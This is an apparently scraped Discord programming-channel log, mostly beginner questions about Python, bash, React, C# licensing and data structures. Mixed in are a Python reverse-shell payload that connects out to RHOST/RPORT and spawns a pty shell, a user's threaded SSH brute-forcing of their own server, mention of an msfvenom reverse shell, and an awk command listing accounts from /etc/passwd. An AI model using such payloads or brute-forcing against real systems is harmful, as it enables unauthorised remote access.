#programming

1 messages · Page 2 of 1

brazen eagle
#

To be fair, @clear lodge I just made a pretty disgusting bash command involving grabbing the results of a web service, filtering the resulting JSON, transforming the results with sed and tr and using the results to call n more web services

tawdry goblet
#

Guys im learning python how to remove all the strings after the commas like this?

Input:
hello,world
hi, mate
try, hackme

Output:

hello
hi
try

whole yacht
#

Split on "," and chose the first element

tawdry goblet
#

I tried and the output is

hello

frosty cedar
#

for simpler explanation this shell one liner is doing what you need

$ echo "hello,world\nhi, mate\ntry, hackme" | cut -d "," -f1
hello
hi
try

but if you would remove the break line char \n the output would be just hello 🙂

tawdry goblet
#

wanna do it in python

frosty cedar
# tawdry goblet

you are reading the whole file into single variable 🙂 you need a loop to go over each line

brazen eagle
#

I think python has a readlines method on files?

tawdry goblet
#

everything is okay now

#

Thank you guys

whole yacht
#

you're welcome

true pumice
#
with open('file.txt', 'r') as file:
        print([line.split(", ")[0] for line in
file.readlines()])
#

muhaha

lilac holly
#

anyone know why this is happening?

true pumice
#

Why what is happening

magic falcon
#

Your code is doing exactly what you are telling it to do

true pumice
#

Funny how code does that sometimes

magic falcon
#

It's almost like interpreting code is a deterministic system

lilac holly
#

fixed it

#

it supposed to be

#

print(f1.result())

surreal bronze
#

yes, are you aware of what you were doing the first time?

lilac holly
#

yes

surreal bronze
#

what were you doing the first time?

lofty mist
lilac holly
#

@lofty mist Your name sounds Swedish, so I'll assume you are. Is this correct?

lofty mist
#

nope

lilac holly
#

Anyone wanna give me a website where i could start learning? Thinking for either Python or web based like HTML,CCS,JS i would prefer a website where there is a learning path if anyone has anything 🙂

#

@lofty mist My bad

wicked flame
lilac holly
#

why is paramiko so buggy with threading

lilac holly
#

bro how do you terminate all threads

#

once a condition is met

#

Im trying to bruteforce my own linode machine

#

2 gb

#

ssh bruteforce

#

Im guessing its dropping the packets

brazen eagle
#

Be careful with cloud hardware, the operators may not appreciate it too much 😉

#

Also ssh brute force is slow

lilac holly
#

its doing the threads

#

but its just dropping most of my pacckets

brazen eagle
#

Probably killed the server

lilac holly
#

and some requests were working

#

I don't know what the problem was

brazen eagle
#

Ssh handshakes take a while to negotiate

#

So the server was busy with one while you send another and it just dropped it

lilac holly
#

the bruteforceSSH()

#

function was just for connecting

#

this is the output

#

the errors just keep going tho

brazen eagle
#

Yeah you're timing out

#

That means you're hammering the server too hard

lilac holly
brazen eagle
#

Yeah and ssh handshakes are super expensive

lilac holly
surreal bronze
lilac holly
#

I didnt see it

#

my bad

#

I was doing print(f1.result)

#

I didnt use the method

#

but I realized now

brazen eagle
lilac holly
#

it doesnt like me at all

magic blade
#

anyone know where i can find tutorials for questions like these

#

im not looking for an answer

#

but i dont know what to search up

#

"coding IPO tables" gives me no good results

#

thank you

magic falcon
#

This is a homework or course assignnment isn't it? Your first step seeking help should be the instructor or TA

magic blade
#

the thing is

#

this class is asynch

#

no TA

#

and i can only talk to the teacher on wednesdays

#

the hw is given on monday

#

which means if i dont do it in the first two days im alone

#

but i think i got it

#

i also dont know where also to ask for help

magic falcon
#

I get that. But we can't really do anything to verify that you are allowed to ask for help; many school honor codes and student ethics codes consider asking for help in a place like this to be unethical or plagiarism.

magic blade
#

oh

#

you mean like

#

youre worried im asking for help on a quiz or test or something?

magic falcon
#

No. As a general rule, we don't help with homework here

#

Because we cannot verify that you are allowed to ask us for help; regardless of that though, your first point of contact for help would be the instructor. If you have two days to start on it and there is office hours available, I strongly recommend you arrange your schedule to go to those office hours

red fable
#

Is OOP really more secure than Procedural-OP?

I'm reading a lot of this way is dumb, that way is dumb between both ends. Things like "OOP is a mess and difficult to sift through" and others saying "Procedural is insecure and candid with the program's data"

I'm sure there are use cases for both. Idk, i'm really confused by the arguments.

red fable
#

I'm pretty sure most people use both?

ebon lance
#

im pretty sure most people dont know what their talking bout and its something u can really only figure out on ur own

red fable
#

Classes are "objects", aren't they? It all sounds like a silly argument.

#

I just watched a 45m video claimming "Object oriented bad and you should feel bad..."

Being this early into it i'm not sure what to think

chrome carbon
surreal bronze
#

I for one, personally love OOP

stoic badger
#

I think most of the arguments against OOP have to do with the added complexity/verbosity in maintaining a set of well-designed classes, but these aren’t explicitly arguments of security but moreso arguments of productivity and efficiency in software engineering

#

I think Fireship does a good job of covering a bunch of these “developer hot takes” in this video

https://youtu.be/goy4lZfDtCE

Software engineers can be very opinionated about their tools, patterns, and philosophies. Let’s react to some of the most controversial opinions from elite developers on Stack Overflow. 🔥 Grab some swag https://swag.fireship.io/

🔗 Resources

Original StackOverflow question https://stackoverflow.com/questions/406760/whats-your-most-controversial...

▶ Play video
red fable
#

i don't like purism in general. it's usually wrong

#

thanks for the answers

red fable
#

idk but it sounded like conjecture

magic falcon
# stoic badger I think most of the arguments against OOP have to do with the added complexity/v...

This is a really good response to the OOP conversation and points. Yes, OOP does have some advantages. But it also has a fair amount of disadvantages. Functional code style hasn't quite overtaken OOP in terms of popularity. I think it's a key takeaway, here, that different code paradigms introduce different advantages and disadvantages, and it's important to pick a language for a project based on the use case and expected longevity of the solution.

vale cairn
#

anyone good with kernel modules and C programming? For some reason when defining a pointer to a syscall function in a header file it's returning a different and wrong address than when it's defined individually in the c file solved needed to add extern to header definition and define in c source

brazen eagle
hearty schooner
#

Hii everyone. Any bash shell expert here! I'm stuck with something

vestal carbon
hearty schooner
#

I have to make an array then for loop this awk command

vestal carbon
#
#!/bin/bash 
cd /home/kali/suricata/ 
ls -d rules/*.rules 
rules=$(cat "/home/kali/suricata/rules/activex.rules" "/home/kali/suricata/rules/adware_pup.rules") 
for i in "{$rules|awk '/ETPRO/ {print}'}" 
  do echo $i done
#

just to format it

#

correct me if I got it wrong

hearty schooner
vestal carbon
#

well tell us, what is it that you want extra

#

and want the script to do

hearty schooner
#

Ok. Let me explain here.

#

#! /bin/bash

cd /home/kali/suricata/rules

cat activex.rules | sed '/#alert/d' > activex.rules-1.rules

cat activex.rules-1.rules | awk '/ETPRO/ {print}' > activex.rules-1-refine.rules

rm *-1.rules

echo "done"

#

this is the script for 1 rules file

#

but i have to automate this cause there are 53 rules files

hearty schooner
vestal carbon
#

I am on my phone right now, but will look at it when I get to my pc, so you want that done for every file in that folder?

wispy kestrelBOT
#

Gave +1 Rep to @vestal carbon

vestal carbon
#

but here

#!/bin/bash 
cd /home/kali/suricata/ 
ls -d rules/*.rules 
rules=$("/home/kali/suricata/rules/activex.rules", "/home/kali/suricata/rules/adware_pup.rules") 
for i in $rules
do
    awk '/ETPRO/ {print}' $i >> /home/kali/suricata/rules/$i-new
done
hearty schooner
vestal carbon
#

sorry, here

#

try the edited code @hearty schooner

hearty schooner
vestal carbon
#

what does the error say?

hearty schooner
# vestal carbon what does the error say?

awk: fatal: cannot open file #' for reading: No such file or directory awk: fatal: cannot open file Emerging' for reading: No such file or directory
awk: fatal: cannot open file Threats' for reading: No such file or directory awk: fatal: cannot open file Pro' for reading: No such file or directory
awk: fatal: cannot open file `#' for reading: No such file or directory

#

what i usually do

#

cat something.rules | awk '/ETPRO/ {print}' > something-1-refine.rules

#

it usually work

vestal carbon
#

I see why

hearty schooner
vestal carbon
#

give me a second

vestal carbon
# hearty schooner will you care to explain me

try this 😄

#!/bin/bash 
cd /home/kali/suricata/ 
ls -d rules/*.rules 
rules=("/home/kali/suricata/rules/activex.rules" "/home/kali/suricata/rules/adware_pup.rules") 
for i in "${rules[@]}"
do
    cat $i | awk '/ETPRO/ {print}' > $i-new
done
hearty schooner
vestal carbon
#

oh yeah

hearty schooner
#

it seems like its not loaded with path

vestal carbon
#

no, it's me being dumb

#

this should be the one that works 😄

#

sorry for not being able to fix it in one go @hearty schooner my brain is tired after work today, the edited script just above should do it 😄

hearty schooner
hearty schooner
vestal carbon
#

can you send a picture of the dir 😅

hearty schooner
#

here it is

vestal carbon
#

Oh, hmm, I'll have a look at this later, had to get off the train, I'll ping you when I find something

wispy kestrelBOT
#

Gave +1 Rep to @vestal carbon

red fable
#

I'm not sure what's wrong with this identifier.

#

this is straight from msfvenom. Reverse shell

#

everything's spelled correctly.

#

Looks fine to me....

#

@jolly osprey this might be in your wheelhouse. idk what's wrong. LegosiSad

#

wait.. why is it missing a parentheses ?

#

Good grief

#

nvm

#

It cut half of the thing off the script... apparently you can't copy straight from bash -> windows. Doesn't like that...

brazen eagle
#

might be a clipboard length limit

red fable
#

I'm not understanding why pprint will not "prettify" response headers in stdout:

┌──(proxym㉿HP-DeskJet-3755)-[~/Scripts/Python/Networking]
└─$ ./tcp-client.py http://search.disroot.org 443                                                                                                                                        
    
Select:
        1. Send file
        2. HTTP request

  2

{'Server': 'nginx', 'Date': 'Thu, 22 Sep 2022 01:20:38 GMT', 'Content-Type': 'text/html', 'Content-Length': '264', 'Connection': 'close'}
#

There's no error, either.

red fable
#

I know that the headers in requests are "Case Insensitive Dicts". Pprint is supposed to work with these.

red fable
#

It's a minor nuisance but I would still like to have nice headers to read.

#

Not a rat's nest of data... It's a lot worse with larger headers

red fable
#

screw it. Just using urllib instead.

rapid plank
#

Is there a way to create a rev shell tcp handler with sockets so that pty.spawn works

rapid plank
#
import sys,socket,os,pty
s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("sh")'
#

Here is the payload

#

It is connectjng to a python socket server

true pumice
#

Does that work regardless of using PTY?

#

There’s a lot of sockets missing there

rapid plank
rapid plank
true pumice
#

I’m not really sure what you’re trying to do, pty.spawn works doesn’t it?

rapid plank
#

(No).Thats what im asking. The payload posted above is executed on the client and tries to connect to another python socket server instead of netcat.

brazen eagle
#

Won't pty.spawn spawn the shell locally?

rapid plank
#

hm yeah. So is there a way to get a shell through python on both ends

#

(Not talking about the input() and send)

#

Like a stable shell.

brazen eagle
#

I mean you probably have to spawn it, then forward the inputs and outputs

rapid plank
#

So no way to have a stable shell like in a netcat conn

verbal haven
#

anyone knows how to print shell code strictly as a string and not as...well some unicode characters? in c++

#

cause printing it just displays it as some gibberish

#

just like how msfvenom prints it out

brazen eagle
#

Knock it out to file in straight binary

lilac holly
#

Hey guys, so I've been having a super weird issue with AntD UI's Table component. It's a React JS UI library that creates a customizable table component for you. So the way I have it set up it searches the column with the onChange function in the filterdropdown object in the getColumnSearchProps() function. The weird issue i'm having .... is that after a search or change to the input it resets the current page of the table to 1. It seems to happen after the onChange() or search function are finished. It's setting the pagination option ( pagination.current ) to 1 at some point no matter what page the user is on. So I did some test cases. I go to page 3, search by column and as soon as I type anything into the input, it goes to page 1 sometimes resulting in no data found. However , if I manually go back to the page I was on before the data is found and is there. So literally the only issue here is, it is somehow reseting the page to 1 after any attempt and I can not seem to figure out how or why it's doing this. Any help is appreciated. https://ant.design/components/table/#components-table-demo-head I should also mention they call this feature 'Implement a customized column search example via filterDropdown' , also the doc is in broken weird english and very hard to understand at points lol.

clear lodge
#

I think you are much better off to ask this question in a React or webdev community. But having said that, share some code?

lilac holly
clear lodge
#

Right. It may be by design then

lilac holly
#
 onChange={(e) => {
 setSelectedKeys(e.target.value ? [e.target.value] : []);
 confirm();
}
#

This is more or less what i have on my other computer

lilac holly
#

Ngl , idk what confirm does exaclty. It's an internal function they use to search the column. Lemme see if I can find it

clear lodge
lilac holly
clear lodge
#

did you test that or is that an assumption?

lilac holly
#
 if (reset) {
      changeEventInfo.resetPagination!();

      // Reset event param
      if (changeInfo.pagination!.current) {
        changeInfo.pagination!.current = 1;
      }
``` Maybe this is it?? https://github.com/ant-design/ant-design/blob/master/components/table/Table.tsx
clear lodge
#

briefly looking through some SO posts, it looks like this is 'normal' behaviour

lilac holly
#

I do think its normal, which is weird and doesn't make sense

#

maybe the library is just ass lmao

clear lodge
#

yeah well. what can I say

#

it's not the first time I'd roll my eyes doing React

#

lol

lilac holly
#

Haha , the more I learn the more I go..... so why are we doing this again? lmao

clear lodge
#

no lib is perfect but some things are just annoying 🙂

lilac holly
#

Well, from a user's perspective it would be extremely annoying to have to realize you're on the wrong page you searched on and then go back to the page you were on. Seems like a design flaw imo

clear lodge
#

otherwise I'd still suggest to ask this in a React community, there will be many people there very well versed in react and related libs and I'm sure a lot of them will have run into issues like this ( esp if its default behaviour )

lilac holly
#

I have and you suprisingly help more lmao , thank you

clear lodge
#

thats too bad

#

I didnt watch all of this but may also be helpful: https://www.youtube.com/watch?v=gp0itoGtRTI&ab_channel=CodeWithAamir

#reactjs #antd #table #search
In this video tutorial I have explained how to add Global Search in Ant Design Table using ReactJS

This video focuses on

  • How to add Global Search in Ant Design Table using ReactJS
  • How to populate antd table with sample data
  • How to filter antd table data using Global Search
  • How to add search input to filter...
▶ Play video
lilac holly
#

videos lmao

burnt basalt
#

I wish I could understand this but im too stupid

#

it looks nice though I think you guys make really cool things!

rain eagle
#

im leaning python and i wanted to know if we can store 2 variables and how?

#
character_age = "35"
print("There once was a man name" + character_name + ", ")
print("he was " + character_age + " years old.")
print("but he didn't like being " + character_age + "years old.")

character_name1 = "Michael"
character_age1 = "44"
print(+ character_name1 + " and " +character_name + " where friends.")```


This gives me  an error 
```TypeError: bad operand type for unary +: 'str'```
hollow sorrel
#

print(+ character_name1 + " and " +character_name + " where friends.")

rain eagle
#

still

hollow sorrel
#

at the beginning

rain eagle
#

aaah

#

it worked now

#

thank you

#

🙂

hollow sorrel
#

nice 🙂

brazen eagle
#

You may want to look into format strings...at least I think they're called that

brazen eagle
clear lodge
#

yes, or just too minimal! really annoying

wraith latch
# rain eagle im leaning python and i wanted to know if we can store 2 variables and how?

What Hydragyrum was saying is when you use ```python
print(f"{character_name1} and {character_name} were friends")


This is called an "f-string" in python. This guide you may find interesting https://realpython.com/python-f-strings/

As of Python 3.6, f-strings are a great new way to format strings. Not only are they more readable, more concise, and less prone to error than other ways of formatting, but they are also faster! By the end of this article, you will learn how and why to start using f-strings today.

brazen eagle
#

they're also generally faster than concatenating

shadow river
#

Has anyone got a good few ideas as to what I could make with flask? I'm not new to python but wanted to learn flask to broaden my skill set. I already have made a portolfio kind of website. THanks 🙂

mellow rose
shadow river
#

That's a good idea, I could maybe used open-cv conjoined with flask maybe? Thanks for the idea!

mellow rose
shadow river
#

Thanks man! I'll make sure to keep at it. I hope you have a good rest of the day!

sonic arch
#

hey everyone i have a developement related question]
acan i ask?

#

i basically am intrested in cybersecurity and wanted to learn basic languages and already completed basic python so while practicing problems should i try 10 different sites and feel comfortable withthe good and easy one or would it be considered that i just wandered off without persistence in single website to learn?

lyric mirage
sonic arch
#

ok but lets say i start practicing from hackerrank

#

but then i discover that w3schools has better language and content should i try to learn from there too thats y basic questions

lyric mirage
#

W3schools is a great resource.

I can't say much about hackerrank.

surreal bronze
#

I've heard that W3schools doesn't encourage best practices (Source: the python discord server)

#

...etc

stoic badger
#

w3schools is nice for quick reference but I wouldn’t really recommend trying to learn from it

magic falcon
#

Your best source of example code and such for python basics witll be the official python documentation.

golden kelp
#

yeah but not in tryhackme

ornate plume
#

Hey guys, has anyone here been working with selinux MCS?

#

I want to deploy 3 container that consist of frontend, backend, database

#

frontend s0:c1
backend s0:c1,c2
database s0:c2

#

So, the idea is I want to restrict data exfiltration that might be happen on compromised frontend

#

Is it possible from attacker perspective to evade this restriction? Thanks, any idea for hardening is appreciated 🙂

uneven osprey
uneven osprey
ornate plume
#

There might be multiple platform, so I began with api endpoints first

uneven osprey
#

Which framework of GO as your backend?

ornate plume
#

Gin

uneven osprey
#

K, are you pooling the connections to your db?

ornate plume
#

At the moment, no

uneven osprey
#

Consider pooling the connection as it becomes a overhead for your server to create a new connection every time and see to that they are released appropriately, hit your end points with sql injection and check for the response if you see unexpected results then sanitize your db with variables

onyx merlin
#

Golang makes it super easy to use prepared statements.

#

It's practically easier to do it right than it is to do it wrong

ornate plume
onyx merlin
#

Depends on DBMS

#

They all do it slightly differently for some cursed reason

tulip sail
#

Which is where an ORM comes in handy

uneven osprey
#

@tulip sail exactly

tulip sail
#

Uh, thanks?

ornate plume
#

So, to recap the sql injection has "already" mitigated with writing "secure code". Selinux preventing container breakout/network pivoting by using different category in presentation layer & backend logic + db. I Still need to sharpen my knowledge with ORM 🙂

#

Btw, thanks guys

#

I stumbled into this library https://gorm.io/

lilac holly
#

Can I find a hard-to-break programming language like c#?

lilac holly
#

im using interface library

#

Metro ui framework

uneven osprey
lilac holly
#

Now my project working c# with metro ui library

#

How to convert project, rust language

#

.exe project.

onyx merlin
lilac holly
#

Learning 😓

surreal bronze
#

uhhhhhhhh

#

you uh realize that you use a compiler...that creates an executable?

onyx merlin
surreal bronze
onyx merlin
#

You will have to write it again

#

You can't just convert it

lilac holly
#

I can write them it's fine but I don't know how to pass the design.

#

my friend said you should use javascript.

#

I said for a moment how could this be?

#

He showed me the program called Fivem. said look at this based on chromium.

onyx merlin
#

That's very different to writing C# programs with UI frameworks

lilac holly
#

because we can break and recompile c#.

onyx merlin
#

You will find it easier to ask in a programming discord that speaks your native language

lilac holly
#

I am pulling the information from api with obj('json').

#

I wish I had that chance. Knowledgeable people left the country as the software industry came to a standstill.

#

Ordinary Turkish problems.

brazen eagle
# lilac holly I just didn't understand that right now.

yeah so C# and rust are two very different languages, kind of like Turkish and English. it would be like translating one to the other, it just doesn't work that way. Both languages have their own idioms(ways of saying things) that aren't always compatible. Why do you want to convert to rust anyways?

brazen eagle
lilac holly
brazen eagle
#

?

lilac holly
true pumice
stoic badger
#

I think their point is that you can use something like dnSpy and decompile C# back to basically original source because of .NET stuffs

#

But there are also plenty of obfuscators and VM stuff you can use for anti-analysis 🤷‍♂️

lilac holly
#

so they can rewind the encryption and recomplile it

stoic badger
#

Packers and general obfuscators are not the same thing

#

And packers don’t necessarily encrypt either

lilac holly
#

The man opens the program with unpack, makes minor adjustments and uses it. I think the biggest problem for me is to create a private key so that the following data cannot be edited.

#

However, if this person finds the key to the program, I have no idea what to do.

#

If he breaks the program and takes the apikey created at each login and sends a manual request to the website with it, then he can reach the current file.

onyx merlin
#

You cannot prevent it

lilac holly
#

There is a licensing system.

#

If they don't buy the program, they don't run it.

#

The problem is that a private key is generated for each login. > programname > checking the duration of the program and sending the information.

#

If some people somehow access the data from this information system and there is a risk of manually giving the data to the API and pulling the program.

#

how can i prevent user from accessing data that has been hijacked by the program in any way from the api?

lilac holly
onyx merlin
#

You need to hire a professional

lilac holly
#

But I still think it's surmountable.

#

all they say is c# garbage. Use C++ or another language.

#

damn i don't know how to migrate this c# design to c++.

onyx merlin
magic falcon
#

Programming language does not change what is or is not accessible at run time.

lilac holly
onyx merlin
#

I said find a professional and hire them

#

I did not suggest asking someone who isn't a professional

#

You're talking about licensing. Licensing (usually) involves money. You need someone who knows what they're doing.

lilac holly
onyx merlin
lilac holly
onyx merlin
#

You do not understand. You need to hire a real professional here.

magic falcon
#

You have completely missed the point that James is telling you. You asked an actually impossible question, and refuse to accept that is the case.

onyx merlin
#

Don't send DMs without permission @lilac holly

lilac holly
#

Shall I post the image here?

onyx merlin
#

No

#

You should hire a professional

lilac holly
# onyx merlin You should hire a professional

I understand you, but there are no professionals left in the country, they all migrate due to the crisis. I do not know what to do. I better save some money and hire someone. but it seems so hard with this damn currency rate.

onyx merlin
#

You are charging money for this software?

lilac holly
#

No, I'm developing the program.

#

Everything is automatic, deposit, rent the program, download and run.

onyx merlin
#

So you intend to charge money.

#

People will bypass it.

#

You cannot stop them.

lilac holly
#

The only problem was asking how to prevent my c# software from breaking easily.

onyx merlin
#

That's getting lost in translation

lilac holly
onyx merlin
#

Yep.

#

This is how the world works.

lilac holly
#

yes, I understand a little bit, but I read it again with translation.

lilac holly
#

Making it a little harder to crack saves time for me so I can have someone else code better with the money.

onyx merlin
lilac holly
#

No one wants to live with high inflation and high exchange rates. not even counting the refugees 😄

onyx merlin
#

I'm not talking international economics. I'm not talking politics.

lilac holly
onyx merlin
#

You need to find a community that speaks your native language, and you need to hire a professional

lilac holly
naive tartan
#

Try cat /etc/passwd | awk -F’:’ ‘{print $1}’

#

I’m not on my pc to try this, I am using my phone so I am not entirely sure if this would work. Apologies in advanced

naive tartan
#

Hey just tried this on my work laptop and it works👍. Prints each username on a line. Now putting them into an array and separating by commas and such is out of my league and will require regex.

brazen eagle
#

Can probably sed that to format it

#

I had a similar issue a short while back but lost my zsh history 😦

#

It involved sed and awk though, and some tr and maybe some cut

naive tartan
#

I just came back to paste the regex I found haha

#

sed ‘s/,$/\n/‘

#

Hmmm doesnt seem to do anything on my terminal, I’ll look some more. Only because I too am interested

#

Or else I would say google it haha

naive tartan
#

after enough research I put together this command that prints any user who has a bash capable shell this is so cool man cat /etc/passwd | awk -F’:’ ‘$0 ~ /bash/ {print $1}’

#

Or change the bash part to !~ /nologin/ to remove anyone that can’t log in. Same effect sort of but in case their shell isn’t bash you get more results. Sorry for the long spam, this is pretty cool actually haha

primal inlet
#

any idea why this isn't working? I am trying to make a simple submit form to send text to a server

<!DOCTYPE html>
<html>
<head>
  <title>send data to server</title>
</head>
<body>
  <form  action="send.php" method="POST">
    <p>Input your text</p>
    <input type="text" name="sent_text"></input><br />
    <input type="submit" value="send"></input>
  </form>
</body>
</html>
<?PHP
  if(!empty($_POST['sent_text']))
  {
    $myfile = fopen("output.txt", "w") or die("Unable to open file!");
    if(fwrite($myfile, $_POST['sent_text'])) {
      fclose($myfile);}
      echo "The text has been uploaded";
    } else{
        echo "There was an error uploading the text, please try again!";
    }
  }
?>```
wraith latch
brazen eagle
#

Needs to be in the body no?

primal inlet
#

It worked actually, it was lack of permissions on file write but the code worked, but I believe what you're saying is what causes it to try and run before any input, it tries and fails

final vessel
#

where do i start with python

wraith latch
brazen eagle
topaz mural
#

hello guys i want to become really good at algos can you suggest a book, some tips and a site for stuff like this (like TryHackMe but form easy to expert coding problems and algos).

inland hazel
surreal bronze
#

Good for showing examples / how they are implemented

sweet shuttle
#

a beginner programmer here: i had to write a code (practice stuff) that takes 2 last digits of a number, reverse them and return the number

number = int(input('Enter a number: '))  # 81671
two_last_digits = number % 100  # 71
tens = two_last_digits // 10  # 7
ones = two_last_digits % 10 # 1
number -= two_last_digits # subtracting the last 2 digits from a number
print(number + (ones * 10) + tens) #adding 2 last digits in a reverse order into the number

is there a better way to write it without using index/any sort of loops/functions?
PYTHON LANGUAGE

surreal bronze
#

Could use string slicing

magic falcon
#

This sounds like homework

sweet shuttle
sweet shuttle
clear lodge
#

Leetcode?

#

There will be other solutions etc you can look at. Lots of different ways in which people have solved it

#

Id suggest to write your own solution, no matter if its "shitty" and then review the others 😁

tulip sail
sweet shuttle
tulip sail
#

And I'm asking what's wrong with a relative index

#

That's an incredibly arbitrary restriction to add, which means it's most likely you trying to crowdsource your homework rather than going for the most efficient solution

#

TL;DR: you can make it a one-liner kekw

magic falcon
#

There are ways to do it, but it's not a beginner solution.

sweet shuttle
true pumice
#

If you're practicing, you're not doing it right by not using the core fundamentals of a programming language

#

Don't waste your time writing stuff that doesn't need to be written, you should be improving your skills

#

Not using loops to create a program is a constraint with 1% chance of happening

sweet shuttle
#

steps by steps brother

#

I have only 2 weeks of real experience in coding

true pumice
#

Two weeks is more than enough time to learn loops, if statements and functions

#

I think you should go back and learn the core fundamentals of every programming language you will come across

#

And I would recommend to take criticism; Muir and Juun are both two of the best programmers I know, they really know what they're talking about

magic blade
#

how do you make a code repeat

#

like

#

if you use cout << *

#

it gives one asterix

#

but what if you want it to do the same command ten times

magic blade
#

nvm

plain path
#

so i'm writing a spider in python as an attempt to improve. however I am unsure on how to implement efficiently an anti-cyclic / anti-repeat check
I have two files, done.txt and todo.txt
I append scraped links to todo.txt, and I would like to check the link is not already inside the file before appending it.
the same goes for done.txt, Before I start scraping a specific url from todo.txt, I would like to verify it hasn't already been scraped (by checking if it's already in done.txt, since after I am done scraping a URL I append it to done.txt)

What are some ways to do this? I thought about using lists but that seems like a very non-performant solution once the list grows bigger and I am iterating over it every time

#

hash map?

#

I also cannot iterate over the file, and "pop" or "append" to it dynamically it seems

onyx merlin
#

I wouldn't use files, opens you up to issues down the line with threading etc potentially

plain path
#

so dictionaries are effectively hash maps in python then, right?

onyx merlin
#

Lawd that link is literally older than me

plain path
#

perfect

plain path
#

I mean, thats a good thing

#

I still don't understand though how hash maps can be so fast.
I understand that iterating over a list is slow, because you don't have anything indexed so you go through the entire thing until you get (or don't get) a match

So for my use case, where I only need to keep track of URLs, I would have the URLs as value, and the keys as the hashed value of the URL? I'm trying to understand what it is that makes hashmaps so fast

i'm weak on data structures / algos

brazen eagle
plain path
#

so that then when I get a new URL and hash it, how come the look up is so fast?

#

Don't I still have to iterate over the dict

#

im looking at this

brazen eagle
#

Hashmap lookups are O(1)

#

It's basically an array index

plain path
#

and this is faster because I am accessing only 1 element that either exists or doesn't in the dictionary?
How does this work on a computational level, because from where I am standing, I feel like it would still have to iterate over all the indicies to see if theres a match

#

Ah nevermind it finally clicked

#

well, at least I think it did

#

when looking if something exists, I hash it, and check if that key already exists. how does the program know where to look though internally? like

python asks if this key has already an assigned value, and how does the dict actually check that so that its fast? how does it know where to look?

#

does each key:value pair have a memory address assigned that is getting directly accessed?

brazen eagle
#

More like each bucket has an address assigned to it

plain path
brazen eagle
#

you can't map each hash to a spot in memory, there are too many, so you group them in buckets, eg: each hash that starts with say 1f goes in the 1f position

plain path
#

I see

brazen eagle
#

the structure will often iterate from there

plain path
#

so big decrease in time complexity as a result

#

since you're pre-filtering this

brazen eagle
#

yeah

plain path
#

okay that makes sense, thank you so much

brazen eagle
#

most hashmaps will be O(1) as there's likely to only be one entry per bucket

plain path
#

is there "good" and "bad" practice when it comes to python dicts or hash maps in general? Like I only need to store and access 1 thing, which is the URL. Would it be wrong to use the keys as effectively values, and leave the value portion of the pair empty?

brazen eagle
#

nah, the keys are used as the lookup

#

well

#

hmm

plain path
#

meaning I can use it both as lookup and as the value itself

#

?

brazen eagle
#

why not use a set then

plain path
#

wdym

brazen eagle
#

the set data structure

#

it's like a list, but duplicates are not allowed

plain path
#

Because I expect to scrape / spider a shitton of links, and I assume this would not be performant

#

once the set grows bigger

brazen eagle
#

you can search a sorted set very effectively

#

but perf isn't going to be your main concern unless you have millions of entries, in which case, you'd be using something other than python

plain path
#

not millions

#

realistically tens of thousands

#

maybe a few hundred k

#

in total

brazen eagle
#

python may have issues no matter what you do then

onyx merlin
brazen eagle
#

yeah but if you spot a visited node you know you probably have a cycle

#

and can prune it appropriately

#

depends on how you traverse as well

#

but most sites are hierarchical

plain path
brazen eagle
#

tbh, probably

#

anything compiled

plain path
#

I can make python code into an executable as well though. won't it just get translated to C anyways?

brazen eagle
#

I thought it just packaged in the interpreter

plain path
#

I have no clue 😄

brazen eagle
#

in any case, your perf bottleneck will be network, followed by parsing

plain path
#

im okay with the network part, but I'd like to make sure I have efficiently implemented the parsing part, i.e. checking if an URL has already been added to the todo list or scraped

brazen eagle
#

also, beware, beware the premature optimization

plain path
#

what does that mean

#

should I just run it

#

and see how it runs

brazen eagle
#

I mean just grabbing the URLs

plain path
#

don't overthink

brazen eagle
#

yeah don't overthink

#

keep it simple

#

if you have perf issues, then poke at it

#

ideally once it's been though an actual profiler

plain path
#

profiler? whats that

brazen eagle
#

it's a tool that can measure what gets executed and how long it takes to execute

plain path
#

thank you ^^

brazen eagle
#

but when coding, readability and maintainability >>>>> perf

#

in general

plain path
#

very good to know

#

my first time coding something so its pretty daunting

#

and I don't know what to prioritize

brazen eagle
#

step 1) make it work

#

keep it as simple as possible

#

make sure you can read and understand what your coding.

plain path
#

yeah

brazen eagle
#

alternatively, make sure your grandmother can understand what you're doing

#

(ok I exaggerate a bit, but a non-technical coworker should be able to get the gist of it)

plain path
#

I understand ^^

#

thank you so much for the help!!

brazen eagle
#

Don't forget to write tests

magic falcon
#

I second everything Hydra said here. The only thing I have to add, @plain path , is to write your tests before you write your code. This helps focus in on what exactly you want a function to do, and gives you immediate feedback on whether or not it's doing what you expect.

brazen eagle
#

While TDD is an admirable goal, it can be more difficult

plain path
#

yeah defo harder

#

but a good practice

plain path
#

otherwise you'd run out of ram super quick

#

?

onyx merlin
#

@vast swift Do not advertise here.

#

@vast swift Don't send unsolicited friend requests. Please read the discord rules as you've already broken 2 of them

brazen eagle
magic falcon
brazen eagle
#

you'll often see a chained hash table which'll get you O(n) memory and probably some O(n) time

tulip sail
#

No. "Compiled" python isn't actually compiled. As Hydra says it's basically just packaging up the Python interpreter with the scripts and wrapping them in a binary

#

i.e. it's massive, equally (if not more so) badly performing, and also has a remarkable tendency to trigger AV false positives

#

Something something script kiddies defaulting to compiling python rather than learning a compiled language

#

Not a good idea. Do it in C++ kekw

#

(Golang or Rust would be good options though, yes)

cold cloak
#

C++ good

#

python bad

#

Rust ugly

tulip sail
#

True

#

F-Off

#

Also true but it's bloody powerful

cold cloak
#

Go is fat

tulip sail
#

True

cold cloak
tulip sail
#

Now that I agree with

surreal bronze
split locust
#

Anybody good with Databases? Got a q related to a school group project, while i was sick my group has made some... less than intuitive decisions and i'm outnumbered

magic falcon
digital dove
stark ruin
#

trying to write an init script for OpenWRT to reset the clientconfig for radio 2. would this work?

EDIT: It did not.
Edit2, I fixed it.

split locust
magic falcon
split locust
#

Oh for sure, their arguments were just weird...

stray crag
#

best book to learn javascript?

brazen eagle
cold cloak
brazen eagle
#

shrugs

#

you can't tell me that cout << "stuff" << std::endl; is nice

#

as opposed to println("stuff")

lucid sluice
#

std:: cout << " stuff " << std::endl; or like if you're using namespace std; then just cout << "stuff \n";
Sorry but I also prefer C++ some what as well, probably because it's the one language I understood perfectly lmao and well, it built up my basis and stuff.

brazen eagle
#

the \n is not recommended 😉

#

endl will adjust for OS-level newlines

lucid sluice
#

I know but it's fun to use, since it's an escape sequence...

onyx merlin
#

...Are you Houdini or something?

brazen eagle
#

but yes I could use the std namespace

lucid sluice
#

Can a C++ oriented guy learn uh Cyber Security?
